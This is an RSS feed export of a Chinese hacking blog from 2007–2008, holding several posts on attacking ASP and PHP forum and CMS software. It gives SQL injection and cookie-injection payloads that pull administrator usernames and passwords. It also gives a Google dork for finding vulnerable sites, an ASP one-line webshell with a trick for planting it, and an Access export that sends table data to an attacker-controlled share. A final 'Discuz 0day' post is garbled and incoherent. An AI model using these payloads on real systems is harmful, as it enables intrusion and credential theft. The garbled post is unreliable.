<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>蜀山劍客's Blog</title>
<link>Http://Www.SSJK.Org/</link>
<Description>蜀山劍客's Blog</Description>
<language>zh-cn</language>
<copyright>Copyright 2005 SSJK.Org</copyright>
<webMaster>birdie_007@163.com</webMaster>
<image>
	<title>蜀山劍客's Blog</title> 
	<url>Http://Www.SSJK.Org//images/logos.gif</url> 
	<link>Http://Www.SSJK.Org/</link> 
	<description>蜀山劍客's Blog</description> 
</image>
<item><link>Http://Www.SSJK.Org//blogview.asp?logID=149</link><title><![CDATA[[0day]Dvbbs8.1&nbsp;0DAY(通杀Access和mssql版本)]]></title><author><![CDATA[蜀山剑客]]></author><category>实战收录</category><pubDate>2008-02-20 08:27 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=149</guid><description><![CDATA[Author:Tr4c3[at]126[dot]CoM<br><a href="http://www.nspcn.org" target="_blank">http://www.nspcn.org</a><br><a href="http://www.tr4c3.com" target="_blank">http://www.tr4c3.com</a><br>谨以此文献给在我老婆不在身边的时候陪我YY,看AV的n37p47ch,King,慕容大雨和BK瞬间群的所有淫棍。<br><br>这几天真是无聊的很啊，晚上实在不知道要做什么了，就下了套dvbbs&nbsp;8.1，然后翻着玩，一不小心翻到了一个注<br>入漏洞。看来上帝还是很可怜我的。废话不说了。<br>看代码UserPay.asp行12-64<br><br>If&nbsp;Request(&quot;raction&quot;)=&quot;alipay_return&quot;&nbsp;Then<br>AliPay_Return()<br>Dvbbs.Footer()<br>Response.End<br>ElseIf&nbsp;Request(&quot;action&quot;)=&quot;alipay_return&quot;&nbsp;Then<br>AliPay_Return()<br>Dvbbs.Footer()<br>Response.End<br>&#39;ElseIf&nbsp;Request(&quot;action&quot;)=&quot;Re_inmoney&quot;&nbsp;Then<br>&#39;&nbsp;Re_inmoney()<br>&#39;&nbsp;Dvbbs.Footer()<br>&#39;&nbsp;Response.End<br>End&nbsp;If<br>无论用户提交的raction为alipay_return还是action为alipay_return都调用了AliPay_Return()过程。AliPay_Return()的代码原型在行329-351，代码如下：<br><br>Sub&nbsp;AliPay_Return()<br>If&nbsp;Dvbbs.Forum_ChanSetting(5)&nbsp;&lt;&gt;&nbsp;&quot;0&quot;&nbsp;Then<br>AliPay_Return_Old()<br>Exit&nbsp;sub<br>Else<br>Dim&nbsp;Rs,Order_No,EnCodeStr,UserInMoney<br>Order_No=Request(&quot;out_trade_no&quot;)<br>Set&nbsp;Rs&nbsp;=&nbsp;Dvbbs.Execute(&quot;Select&nbsp;*&nbsp;From&nbsp;[Dv_ChanOrders]&nbsp;Where&nbsp;O_IsSuc=3&nbsp;And&nbsp;O_PayCode=&#39;&quot;&amp;Order_No&amp;&quot;&#39;&quot;)<br>If&nbsp;not(Rs.Eof&nbsp;And&nbsp;Rs.Bof)&nbsp;Then<br>AliPay_Return_Old()<br>Exit&nbsp;sub<br>End&nbsp;if<br>Response.Clear<br>Set&nbsp;Rs&nbsp;=&nbsp;Dvbbs.Execute(&quot;Select&nbsp;*&nbsp;From&nbsp;[Dv_ChanOrders]&nbsp;Where&nbsp;O_IsSuc=0&nbsp;And&nbsp;O_PayCode=&#39;&quot;&amp;Order_No&amp;&quot;&#39;&quot;)<br>If&nbsp;Rs.Eof&nbsp;And&nbsp;Rs.Bof&nbsp;Then<br>Response.Write&nbsp;&quot;N&quot;<br>Else<br>Response.Write&nbsp;&quot;Y&quot;<br>Dvbbs.Execute(&quot;Update&nbsp;Dv_ChanOrders&nbsp;Set&nbsp;O_IsSuc=3&nbsp;Where&nbsp;O_ID&nbsp;=&nbsp;&quot;&nbsp;&amp;&nbsp;Rs(&quot;O_ID&quot;))<br>End&nbsp;If<br>Response.End<br>End&nbsp;If<br>End&nbsp;Sub<br><br>如果Dvbbs.Forum_ChanSetting(5)&nbsp;&lt;&gt;&nbsp;&quot;0&quot;&nbsp;就执行下面的sql语句，我们来看看数据库里默认的Forum_ChanSetting吧。<br><br>1,1,0,0,pay@aspsky.net,0,b63uvb8nsvsmbsaxszgvdr6svyus0l4t,1,1,1,1,1,1,1,100,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1<br>Forum_ChanSetting(5)缺省为0，好了你接着看就会笑了<br><br>Order_No=Request(&quot;out_trade_no&quot;)<br>Set&nbsp;Rs&nbsp;=&nbsp;Dvbbs.Execute(&quot;Select&nbsp;*&nbsp;From&nbsp;[Dv_ChanOrders]&nbsp;Where&nbsp;O_IsSuc=3&nbsp;And&nbsp;O_PayCode=&#39;&quot;&amp;Order_No&amp;&quot;&#39;&quot;)<br>直接把获取的Order_No放到sql里面去了。<br>回顾一下DVbbs8.0的Userpay.asp同样一个函数看代码<br><br>Sub&nbsp;AliPay_Return()<br>If&nbsp;Dvbbs.Forum_ChanSetting(5)&nbsp;&lt;&gt;&nbsp;&quot;0&quot;&nbsp;Then<br>AliPay_Return_Old()<br>Else<br>Response.Clear<br>Dim&nbsp;Rs,Order_No,EnCodeStr,UserInMoney<br>Order_No&nbsp;=&nbsp;Dvbbs.CheckStr(Request(&quot;order_no&quot;))<br>Set&nbsp;Rs&nbsp;=&nbsp;Dvbbs.Execute(&quot;Select&nbsp;*&nbsp;From&nbsp;Dv_ChanOrders&nbsp;Where&nbsp;O_IsSuc=0&nbsp;And&nbsp;O_PayCode&nbsp;=&nbsp;&#39;&quot;&amp;Order_No&amp;&quot;&#39;&quot;)<br>If&nbsp;Rs.Eof&nbsp;And&nbsp;Rs.Bof&nbsp;Then<br>Response.Write&nbsp;&quot;N&quot;<br>可以看出Order_No用CheckStr处理了，不存在sql注入漏洞，为什么到了新版本反而就直接放行了呢？莫非是笔误？<br>如果你和我一样懒，并不想精心构造语句去搞破坏，只是试图去说明这个地方不安全，用下面的链接验证下看看<br>吧(需要登录)<br><br><a href="http://www.tr4c3.com/UserPay.asp?raction=alipay_return" target="_blank">http://www.tr4c3.com/UserPay.asp?raction=alipay_return</a>&amp;out_trade_no=1&amp;#39;<br>本地测试返回图示<br><img src="attachments/month_0802/z2008220202942.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><br>如果想再深入点，看看动画吧，懒得打字了。:-)<br>由于本人没下载到dvbb8.1的sql版本，也懒得去网上找，所以无法判断其版本也存在该漏洞，有条件的朋友看看反馈<br>下。<br><br>经过群里的淫棍樱木花盗测试官方确认mssql版本也受此漏洞影响<br><br><br><img src="attachments/month_0802/o2008220203019.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" />]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=148</link><title><![CDATA[COOKIE注入经典原理]]></title><author><![CDATA[蜀山剑客]]></author><category>实战收录</category><pubDate>2008-02-20 02:01 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=148</guid><description><![CDATA[大家好,我是初学者,在上一讲中,我们学习了&quot;搜索型注入&quot;的有关知识,今天我们再来学学另一种不常见的注入方法&quot;cookie注入&quot;在讲之前,我们还是来回顾下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用&quot;request(&quot;name&quot;)&quot;但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是&quot;读取用户系统发送的所有cookie值,我们从第二讲关于&quot;cookies欺骗入侵和原理&quot;中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.<br><br>&nbsp;&nbsp;我们首先还是来看看中网景论坛的最新版本&quot;(CNKBBS2007)中网景论坛2007v5.0&nbsp;&quot;官方下载地址&quot;<a href="http://www.cnetking.com/websys2.asp?id=26" target="_blank">http://www.cnetking.com/websys2.asp?id=26</a>&quot;发布时间是2007-06-06,打开系统的源代码后,在&quot;user_RxMsg_detail.asp&quot;文件中,有如下代码:<br><br>&lt;!--#include&nbsp;file=&quot;opendb.asp&quot;&nbsp;--&gt;&nbsp;&nbsp;(调用opendb.asp文件)<br><br>&lt;!--#include&nbsp;file=&quot;char.asp&quot;&nbsp;--&gt;<br><br>&lt;%&nbsp;<br><br>Call&nbsp;CheckUserLogin(username)<br><br>Dim&nbsp;action,s,id<br><br>id=request(&quot;id&quot;)&nbsp;(获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)<br><br>if&nbsp;id&lt;&gt;&quot;&quot;&nbsp;then&nbsp;Call&nbsp;IsNum(bid)&nbsp;(这是程序员的出现地方,注意bid&lt;&gt;id)<br><br>conn.execute(&quot;update&nbsp;cnk_Users_RxMsg&nbsp;set&nbsp;readed=1&nbsp;where&nbsp;id=&quot;&amp;id)&nbsp;&#39;设置已读<br><br>rs.open&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;cnk_users_RxMsg&nbsp;where&nbsp;id=&quot;&amp;id,conn,1,3<br><br>我们再打开&quot;opendb.asp&quot;文件<br><br>&lt;%Option&nbsp;Explicit<br><br>Response.Buffer&nbsp;=&nbsp;true%&gt;<br><br>&lt;!--#include&nbsp;file=&quot;fzr.asp&quot;&nbsp;--&gt;&nbsp;(调用fzr.asp文件)<br><br>&lt;!--#include&nbsp;file=&quot;cnkdata/dbname.asp&quot;&nbsp;--&gt;<br><br>&lt;!--#include&nbsp;file=&quot;config.asp&quot;--&gt;<br><br>..................<br><br>以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件<br><br>&lt;%<br><br>&#39;--------版权说明------------------<br><br>&#39;SQL通用防注入程序<br><br>&#39;Aseanleung<br><br>&#39;--------定义部份------------------<br><br>Dim&nbsp;Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr<br><br>Dim&nbsp;fso1,all_tree2,file1,files,filez,fs1,zruserip<br><br>If&nbsp;Request.QueryString&lt;&gt;&quot;&quot;&nbsp;Then&nbsp;(对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)<br><br>&#39;自定义需要过滤的字串,用&nbsp;&quot;|&quot;&nbsp;分隔<br><br>Fy_In&nbsp;=&nbsp;&quot;&#39;|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script&quot;&nbsp;(阻止了常用的SQL注入的语句)<br><br>Fy_Inf&nbsp;=&nbsp;split(Fy_In,&quot;|&quot;)<br><br>For&nbsp;Each&nbsp;Fy_Get&nbsp;In&nbsp;Request.QueryString<br><br>For&nbsp;Fy_Xh=0&nbsp;To&nbsp;Ubound(Fy_Inf)<br><br>If&nbsp;Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))&lt;&gt;0&nbsp;Then<br><br>zruserip=Request.ServerVariables(&quot;HTTP_X_FORWARDED_FOR&quot;)&nbsp;<br><br>If&nbsp;zruserip=&quot;&quot;&nbsp;Then&nbsp;zruserip=Request.ServerVariables(&quot;REMOTE_ADDR&quot;)<br><br>Response.Write&nbsp;&quot;内容含有非法字符！请不要有&#39;或and或or等字符，请去掉这些字符再发！！&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;如是要攻击网站，系统记录了你的操作↓&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;操作ＩＰ：&quot;&amp;zruserip&amp;&quot;&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;操作时间：&quot;&amp;Now&amp;&quot;&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;操作页面：&quot;&amp;Request.ServerVariables(&quot;URL&quot;)&amp;&quot;&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;提交方式：ＧＥＴ&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;提交参数：&quot;&amp;Fy_Get&amp;&quot;&lt;br&gt;&quot;<br><br>Response.Write&nbsp;&quot;提交数据：&quot;&amp;Request.QueryString(Fy_Get)<br><br>......................<br><br>&nbsp;&nbsp;&nbsp;&nbsp;很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)<br><br>代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用&quot;request(&quot;name&quot;)&quot;获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).<br><br>&nbsp;&nbsp;&nbsp;原理讲好了,下面我们来学学coolie注入语句吧<br><br>&nbsp;&nbsp;&nbsp;cookies的注入语句:javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;这就是asp?&nbsp;id=xx后面xx代表的数值)&nbsp;and&nbsp;(这里是注入攻击代码)&quot;));<br><br>&nbsp;&nbsp;&nbsp;这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:<br><br>1:&quot;alert()&quot;显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)<br><br>2:&quot;document.cookie&quot;我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:&quot;alert(document.cookie)&quot;调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型<br><br>4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie<br><br>格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50&quot;and&nbsp;1=1&quot;)有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码<br><br>&nbsp;&nbsp;&nbsp;上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)<br><br>最后我们来测试下,利用步骤:<br><br>&nbsp;1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)<br><br>2:把浏览器的URL清空,输入&quot;javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;相应参数id值&nbsp;and&nbsp;1=1&quot;));之后会弹出一个框框,<br><br>3:再次输入:<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=" target="_blank">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=</a>论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)<br><br>3:再输入:javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;1&nbsp;and&nbsp;1=2&quot;));然后再输入:<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=" target="_blank">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=</a>论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)<br><br>4:通过查看系统数据库,得知cnk_users_RxMsg&nbsp;表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;1&nbsp;and&nbsp;1=2&nbsp;union&nbsp;select&nbsp;1,2,3,4,5,6,7,8&nbsp;from&nbsp;Cnk_Admin&quot;))然后把地址栏清空,输入<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp" target="_blank">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp</a>,可经看到显示了数字4和5<br><br>5:再次把地址栏清空,输入:javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;1&nbsp;and&nbsp;1=2&nbsp;union&nbsp;select&nbsp;1,2,3,AdminName,AdminPassword,6,7,8&nbsp;from&nbsp;Cnk_Admin&quot;)),提交后,清空地址栏,输入:<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=" target="_blank">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=</a>论坛管理员,这样我们就在页面上看到管理员的密码和账号了<br>&nbsp;<br><br><br>]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=147</link><title><![CDATA[突破数据库中有LOOP&nbsp;不能插马的问题！]]></title><author><![CDATA[蜀山剑客]]></author><category>入侵技巧</category><pubDate>2007-08-13 00:52 AM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=147</guid><description><![CDATA[突破&nbsp;ASP数据库&nbsp;不能插马<br><br>&lt;%execute&nbsp;request(&quot;value&quot;)%&gt;&lt;%&#39;&lt;%&nbsp;loop&nbsp;&lt;%:%&gt;<br>是这样的顺序才行，也可以是以下顺序<br>&lt;%&#39;&lt;%&nbsp;loop&nbsp;&lt;%:%&gt;&lt;%execute&nbsp;request(&quot;value&quot;)%&gt;<br>或<br>&lt;%execute&nbsp;request(&quot;value&quot;)&#39;&lt;%&nbsp;loop&nbsp;&lt;%:%&gt;]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=146</link><title><![CDATA[[转]SQL注入Access导出WebShell？]]></title><author><![CDATA[蜀山剑客]]></author><category>入侵技巧</category><pubDate>2007-08-13 00:44 AM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=146</guid><description><![CDATA[By:lake2<br><br>已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了，也只是听说而已，具体的细节还是不得而知。<br><br>最近在看的书中一章提到Jet的安全，然后灵光一闪，呵呵，发现了一种可以利用access导出asp的方法，分享之。<br><br>几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件（可导出txt、htm、html等格式）的方法：<br><br>SELECT&nbsp;*&nbsp;into&nbsp;[test.txt]&nbsp;in&nbsp;&#39;d:\web\&#39;&nbsp;&#39;text;&#39;&nbsp;from&nbsp;admin<br><br>执行上述语句，在d:\web目录下就会生成test.txt文件，其内容就是表admin的内容。但是导出asp格式就不行，会说“不能更新，数据库或对象为只读”。<br><br>其实控制导出文件后缀是存储在注册表的，具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension，默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”，如果我们把asp也添加进去的话，呵呵，就可以导出asp格式的文件了。<br><br>这个方法跟那个调用Access的Shell函数执行命令一样，要修改注册表，所以利用不是很大。<br><br>顺便提一下，前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦：SELECT&nbsp;*&nbsp;into&nbsp;[test.txt]&nbsp;in&nbsp;&#39;\\yourip\share&#39;&nbsp;&#39;text;&#39;&nbsp;from&nbsp;admin]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=145</link><title><![CDATA[良精企业网站管理系统漏洞]]></title><author><![CDATA[蜀山剑客]]></author><category>安全漏洞</category><pubDate>2007-08-12 04:40 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=145</guid><description><![CDATA[精企业网站管理系统Sql注入漏洞<br>Author:Tr4c3[at]126[dot]com<br><a href="http://www.nspcn.org" target="_blank">http://www.nspcn.org</a><br><a href="http://www.tr4c3.com" target="_blank">http://www.tr4c3.com</a><br>涉及版本：良精企业网站管理系统(2007-V09)官方正式商业版<br>其他版本未做测试<br><br>漏洞文件：<br>EnProductShow.asp<br><br>漏洞描述：<br>变量ID信任客户端提交值，带入sql语句查询，程序用了通用SQL防注入程序，详细见Check_Sql.asp。关键代码如下<br>****************************************************************************<br><br>ID=trim(request(&quot;ID&quot;))<br>if&nbsp;ID=&quot;&quot;&nbsp;then<br>response.Redirect(&quot;EnProduct.asp&quot;)<br>end&nbsp;if<br><br>sql=&quot;select&nbsp;*&nbsp;from&nbsp;Product&nbsp;where&nbsp;ID=&quot;&nbsp;&amp;&nbsp;ID&nbsp;&amp;&nbsp;&quot;&quot;<br>Set&nbsp;rs=&nbsp;Server.CreateObject(&quot;ADODB.Recordset&quot;)<br>rs.open&nbsp;sql,conn,1,3<br>if&nbsp;rs.bof&nbsp;and&nbsp;rs.eof&nbsp;then<br>response.write&quot;&lt;SCRIPT&nbsp;language=JavaScript&gt;alert(&#39;找不到此产品！&#39;);&quot;<br>&nbsp;&nbsp;&nbsp;response.write&quot;javascript:history.go(-1)&lt;/SCRIPT&gt;&quot;<br>else&nbsp;<br>rs(&quot;Hits&quot;)=rs(&quot;Hits&quot;)+1<br>rs.update<br><br>****************************************************************************<br>Check_Sql.asp仅对GET和POST的数据进行了过滤，忽略了Cookie<br><br>利用方法：<br>Google搜索关键字&nbsp;inurl:&quot;EnProductShow.asp?id=&quot;<br>cookie注入，支持union，Product表26个字段，演示如下<br><br><br>1.<a href="http://www.Tr4c3.com/EnProductShow.asp?ID=229" target="_blank">http://www.Tr4c3.com/EnProductShow.asp?ID=229</a><br><br><br>2.javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;229&nbsp;union&nbsp;select&nbsp;0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25&nbsp;from&nbsp;admin&quot;))<br><br><br>3.<a href="http://www.tr4c3.com/EnProductShow.asp" target="_blank">http://www.tr4c3.com/EnProductShow.asp</a><br><br>即可union出管理员帐号，密码（md5值）<br>后台地址<br>/admin/login.asp<br>后台拿shell方法很多。<br><br><br>说个简单拿shell的方法吧，备份数据库，但是有朋友说访问是404，看看下面的就明白了<br><br>Admin_DataBackup.asp里面里有段代码是这样写的<br><br>Dbpath=request.form(&quot;Dbpath&quot;)&nbsp;<br>Dbpath=server.mappath(Dbpath)&nbsp;<br>bkfolder=request.form(&quot;bkfolder&quot;)&nbsp;<br>bkdbname=request.form(&quot;bkdbname&quot;)&nbsp;<br>Set&nbsp;Fso=server.createobject(&quot;scripting.filesystemobject&quot;)&nbsp;<br>if&nbsp;fso.fileexists(dbpath)&nbsp;then&nbsp;<br>If&nbsp;CheckDir(bkfolder)&nbsp;=&nbsp;True&nbsp;Then&nbsp;<br>fso.copyfile&nbsp;dbpath,bkfolder&amp;&nbsp;&quot;\&quot;&amp;&nbsp;bkdbname&nbsp;<br>else&nbsp;<br>MakeNewsDir&nbsp;bkfolder&nbsp;<br>fso.copyfile&nbsp;dbpath,bkfolder&amp;&nbsp;&quot;\&quot;&amp;&nbsp;bkdbname&nbsp;&amp;&nbsp;&quot;.asa&quot;<br>end&nbsp;if&nbsp;<br>response.write&nbsp;&quot;&lt;center&gt;备份数据库成功，备份的数据库为&nbsp;&quot;&nbsp;&amp;&nbsp;bkfolder&nbsp;&amp;&nbsp;&quot;\&quot;&nbsp;&amp;&nbsp;bkdbname&nbsp;&amp;&nbsp;&quot;.asa&lt;/center&gt;&quot;&nbsp;<br><br>注意这几句<br>bkdbname=request.form(&quot;bkdbname&quot;)<br><br>If&nbsp;CheckDir(bkfolder)&nbsp;=&nbsp;True&nbsp;Then&nbsp;<br>fso.copyfile&nbsp;dbpath,bkfolder&amp;&nbsp;&quot;\&quot;&amp;&nbsp;bkdbname&nbsp;<br><br>response.write&nbsp;&quot;&lt;center&gt;备份数据库成功，备份的数据库为&nbsp;&quot;&nbsp;&amp;&nbsp;bkfolder&nbsp;&amp;&nbsp;&quot;\&quot;&nbsp;&amp;&nbsp;bkdbname&nbsp;&amp;&nbsp;&quot;.asa&lt;/center&gt;&quot;&nbsp;<br><br>后台的数据库备份，如果你指定备份为trace.asp，他就保存到dbpath,bkfolder&amp;&quot;trace.asp&quot;<br>但是提示是备份数据库成功，备份的数据库为&nbsp;&quot;&nbsp;&amp;&nbsp;bkfolder&nbsp;&amp;&nbsp;&quot;\&quot;&nbsp;&amp;&nbsp;trace.asp&nbsp;&amp;&nbsp;&quot;.asa&quot;，看明白了吧，直接提交地址到IE吧，不要后面的.asa了&nbsp;<br><br>]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=144</link><title><![CDATA[Discuz6.0&nbsp;injection&nbsp;0day]]></title><author><![CDATA[蜀山剑客]]></author><category>安全漏洞</category><pubDate>2007-08-12 02:41 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=144</guid><description><![CDATA[//&nbsp;允许程序在&nbsp;register_globals&nbsp;=&nbsp;off&nbsp;的环境下工作<br>$onoff&nbsp;=&nbsp;(function_exists(&#39;ini_get&#39;))&nbsp;?&nbsp;ini_get(&#39;register_globals&#39;)&nbsp;:&nbsp;get_cfg_var(&#39;register_globals&#39;);<br><br>if&nbsp;($onoff&nbsp;!=&nbsp;1)&nbsp;{<br>&nbsp;@extract($_POST,&nbsp;EXTR_SKIP);<br>&nbsp;@extract($_GET,&nbsp;EXTR_SKIP);<br>}<br><br>$self&nbsp;=&nbsp;$_SERVER[&#39;PHP_SELF&#39;];<br>$dis_func&nbsp;=&nbsp;get_cfg_var(&quot;disable_functions&quot;);<br><br>/*=====================&nbsp;身份验证&nbsp;=====================*/<br>if($admin[&#39;check&#39;]&nbsp;==&nbsp;&quot;1&quot;)&nbsp;{<br>&nbsp;if&nbsp;($_GET[&#39;action&#39;]&nbsp;==&nbsp;&quot;logout&quot;)&nbsp;{<br>&nbsp;setcookie&nbsp;(&quot;adminpass&quot;,&nbsp;&quot;&quot;);<br>&nbsp;echo&nbsp;&quot;&lt;meta&nbsp;http-equiv=\&quot;refresh\&quot;&nbsp;content=\&quot;3;URL=&quot;.$self.&quot;\&quot;&gt;&quot;;<br>&nbsp;echo&nbsp;&quot;&lt;span&nbsp;style=\&quot;font-size:&nbsp;12px;&nbsp;font-family:&nbsp;Verdana\&quot;&gt;注销成功......&lt;p&gt;&lt;a&nbsp;href=\&quot;&quot;.$self.&quot;\&quot;&gt;三秒后自动退出或单击这里退出程序界面&nbsp;&amp;gt;&amp;gt;&amp;gt;&lt;/a&gt;&lt;/span&gt;&quot;;<br>&nbsp;exit;<br>&nbsp;}<br><br>&nbsp;if&nbsp;($_POST[&#39;do&#39;]&nbsp;==&nbsp;&#39;login&#39;)&nbsp;{<br>&nbsp;$thepass=trim($_POST[&#39;adminpass&#39;]);<br>&nbsp;if&nbsp;($admin[&#39;pass&#39;]&nbsp;==&nbsp;$thepass)&nbsp;{<br>&nbsp;setcookie&nbsp;(&quot;adminpass&quot;,$thepass,time()+(1*24*3600));<br>&nbsp;echo&nbsp;&quot;&lt;meta&nbsp;http-equiv=\&quot;refresh\&quot;&nbsp;content=\&quot;3;URL=&quot;.$self.&quot;\&quot;&gt;&quot;;<br>&nbsp;echo&nbsp;&quot;&lt;span&nbsp;style=\&quot;font-size:&nbsp;12px;&nbsp;font-family:&nbsp;Verdana\&quot;&gt;登陆成功......&lt;p&gt;&lt;a&nbsp;href=\&quot;&quot;.$self.&quot;\&quot;&gt;三秒后自动跳转或单击这里进入程序界面&nbsp;&amp;gt;&amp;gt;&amp;gt;&lt;/a&gt;&lt;/span&gt;&quot;;<br>&nbsp;exit;<br>&nbsp;}<br>&nbsp;}<br>&nbsp;if&nbsp;(isset($_COOKIE[&#39;adminpass&#39;]))&nbsp;{<br>&nbsp;if&nbsp;($_COOKIE[&#39;adminpass&#39;]&nbsp;!=&nbsp;$admin[&#39;pass&#39;])&nbsp;{<br>&nbsp;loginpage();<br>&nbsp;}<br>&nbsp;}&nbsp;else&nbsp;{<br>&nbsp;loginpage();<br>&nbsp;}<br>}<br>/*=====================&nbsp;验证结束&nbsp;=====================*/<br><br>//&nbsp;判断&nbsp;magic_quotes_gpc&nbsp;状态<br>if&nbsp;(get_magic_quotes_gpc())&nbsp;{<br>&nbsp;$_GET&nbsp;=&nbsp;stripslashes_array($_GET);<br>&nbsp;$_POST&nbsp;=&nbsp;stripslashes_array($_POST);<br>}<br>---------------------------------------------------------------------------------------------------------------------<br><a href="http://www.discuz.net/admin/logging.php?action=login" target="_blank">http://www.discuz.net/admin/logging.php?action=login</a><br>可以跳到其它目录<br>注册登录后利用<br><br><a href="http://www.discuz.net/search.php?user%id=100" target="_blank">http://www.discuz.net/search.php?user%id=100</a><br>可以进行injection……<br><br>只能手工注射<br><br>注意:showpath里必须包含用户自己的路径<br>如果限制的话，还可以向上跳,向上级传文件的时候，不能直接<br><a href="http://www." target="_blank">http://www.</a>&nbsp;<a href="http://www.discuz.net/user/up/_id=../../....../" target="_blank">http://www.discuz.net/user/up/_id=../../....../</a>(注射语句)<br>就包含用户路径<br><a href="http://www.discuz.net/member.php?action=list_UserNumber=1402257EE8F" 